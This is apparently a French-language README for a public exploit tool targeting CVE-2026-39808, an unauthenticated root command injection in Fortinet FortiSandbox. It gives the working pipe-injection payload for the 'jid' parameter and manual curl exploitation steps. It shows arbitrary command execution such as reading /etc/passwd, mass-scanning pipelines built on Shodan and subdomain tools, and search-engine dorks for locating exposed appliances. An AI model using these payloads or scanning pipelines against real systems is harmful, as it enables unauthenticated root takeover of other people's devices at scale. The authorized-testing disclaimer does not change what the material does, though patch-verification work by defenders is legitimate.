
Scanner RCE non authentifié pour FortiSandbox CVE-2026-39808 avec vérification basée sur canary, exécution de commandes et intégration pipeline pour le scan de masse.
Injection de commandes OS non authentifiée en tant que root dans Fortinet FortiSandbox
Vulnérabilité • Installation • Utilisation • Fonctionnement • Pipeline • Dorks Shodan • Avertissement
CVE-2026-39808 est une vulnérabilité critique d'injection de commandes OS non authentifiée dans Fortinet FortiSandbox. Le point de terminaison d'API /fortisandbox/job-detail/tracer-behavior ne parvient pas à assainir le paramètre jid, permettant à un attaquant d'injecter des commandes OS arbitraires qui s'exécutent en tant que root — sans aucune authentification.
Le paramètre jid dans le point de terminaison tracer-behavior est transmis directement à une commande système sans assainissement. En utilisant des caractères de pipe (|), un attaquant peut sortir du contexte de commande prévu et exécuter des commandes arbitraires :
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
La sortie est écrite dans /web/ng/out.txt, accessible à /ng/out.txt sur le serveur web — fournissant un mécanisme pratique de lecture pour l'injection de commandes aveugle.
Zéro dépendance. Bibliothèque standard Python 3.7+ uniquement.
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# Vérifier si une cible est vulnérable (utilise une détection basée sur canary)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# Exécuter une commande spécifique sur la cible
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# Vérifier uniquement si vulnérable, sans exécuter --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# Depuis une liste d'URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → scanner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → scanner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL URL cible
--stdin Lire les URL depuis stdin (mode pipeline)
--cmd CMD Commande OS à exécuter (défaut : id)
--verify-only Vérifier uniquement la vulnérabilité, sans exécuter --cmd
--proxy PROXY Proxy HTTP (ex. : http://127.0.0.1:8080)
--timeout TIMEOUT Délai d'expiration HTTP en secondes (défaut : 15)
--rate-limit RATE_LIMIT Délai entre les cibles en ms (défaut : 0)
-o, --output FILE Fichier de rapport JSON de sortie
--no-banner Supprimer la bannière
Le scanner utilise un processus de vérification en 5 étapes avec une prévention stricte des faux positifs :
Étape 1 → Détecter FortiSandbox (empreinte titre/en-tête)
Étape 2 → Vérifier si le point de terminaison vulnérable existe
Étape 3 → Injecter une chaîne canary unique via l'injection de commande
Étape 4 → Lire /ng/out.txt et vérifier le canary (validation stricte de texte brut)
Étape 5 → Exécuter la commande utilisateur + nettoyage
Le scanner implémente plusieurs couches de validation pour éliminer les faux positifs :
text/htmlid — Correspondance stricte du motif uid=\d+(\w+) avec vérification de taille (<1000 octets)/ng pour éviter les problèmes de double chemin ╔══════════════════════════════════════════════════════════╗
║ Scanner RCE FortiSandbox v1.0 — CVE-2026-39808 ║
║ Injection de commande non authentifiée (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Cible : https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox détecté !
▸ Vérification du point de terminaison : /fortisandbox/job-detail/tracer-behavior
▸ Statut du point de terminaison : 200 | Content-Type : text/html
▸ Injection du canary : mitsec_a8k3m2x1
▸ Lecture de la sortie : https://fortisandbox.example.com/ng/out.txt
CRITIQUE 🔥 VULNÉRABLE — CVE-2026-39808 CONFIRMÉ !
CRITIQUE Cible : https://fortisandbox.example.com
✓ Canary 'mitsec_a8k3m2x1' vérifié dans la sortie (texte brut propre)
──────────────────────────────────────────────────────────
Sortie de commande : id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Fichier de sortie nettoyé
┌──────────────────────────────────────────────────────────┐
│ Cible : https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox détecté !
▸ Vérification du point de terminaison : /fortisandbox/job-detail/tracer-behavior
✗ Le point de terminaison a renvoyé 404 — non vulnérable ou corrigé
▸ Lecture de la sortie : https://target.com/ng/out.txt
⚠ L'URL de sortie renvoie une page HTML — c'est le SPA Angular, PAS la sortie de commande
▸ Content-Type : text/html
▸ C'est un faux positif — /ng/out.txt sert le index.html du SPA
▸ La cible ne semble pas vulnérable
{
"scanner": "fortisandbox_rce",
"version": "1.0",
"cve": "CVE-2026-39808",
"scan_date": "2026-04-22T10:30:00+00:00",
"total_targets": 5,
"vulnerable": 1,
"results": [
{
"target": "https://fortisandbox.example.com",
"vulnerable": true,
"details": {
"is_fortisandbox": true,
"server": "Apache",
"canary": "mitsec_a8k3m2x1",
"verification": "canary_match",
"command": "id",
"output": "uid=0(root) gid=0(root) groups=0(root)"
},
"timestamp": "2026-04-22T10:30:00+00:00"
}
]
}
Le scanner envoie les URL vulnérables vers stdout (toute autre sortie va vers stderr), ce qui le rend entièrement compatible pipeline :
# Trouver les cibles vulnérables et les enregistrer
subfinder -d corp.com -silent | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
tee vulnerable_fortisandbox.txt
# Enchaîner avec nuclei pour des tests supplémentaires
cat vulnerable_fortisandbox.txt | nuclei -t cves/
# Analyse de masse silencieuse avec limitation de débit
cat shodan_results.txt | \
python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778
Censys :
services.http.response.html_title:"FortiSandbox"
FOFA :
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"
Dork Google :
intitle:"FortiSandbox - Please login"
Si vous préférez vérifier manuellement avec curl :
# Étape 1 : Injecter la commande
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
--data-urlencode "jid=|(id > /web/ng/out.txt)|"
# Étape 2 : Lire la sortie
curl -s -k "https://TARGET/ng/out.txt"
# Attendu : uid=0(root) gid=0(root) groups=0(root)
/fortisandbox/job-detail/jid contenant des caractères de pipe| Date | Événement |
|---|---|
| Novembre 2025 | Vulnérabilité découverte |
| Avril 2026 | CVE-2026-39808 publiée |
| Avril 2026 | Corrigée dans FortiSandbox 4.4.9 |
Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. Obtenez toujours une autorisation écrite appropriée avant de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.
mitsec — @ynsmroztas
Si cet outil vous a aidé, pensez à lui donner une ⭐
| Détail | Valeur |
|---|
| ID CVE | CVE-2026-39808 |
| Score CVSS | 9.8 (Critique) |
| Vecteur d'attaque | Réseau |
| Authentification | Aucune |
| Privilèges | Root |
| Versions affectées | FortiSandbox < 4.4.9 |
| Corrigé dans | 4.4.9 et supérieur |
| Avis | FG-IR-25-325 |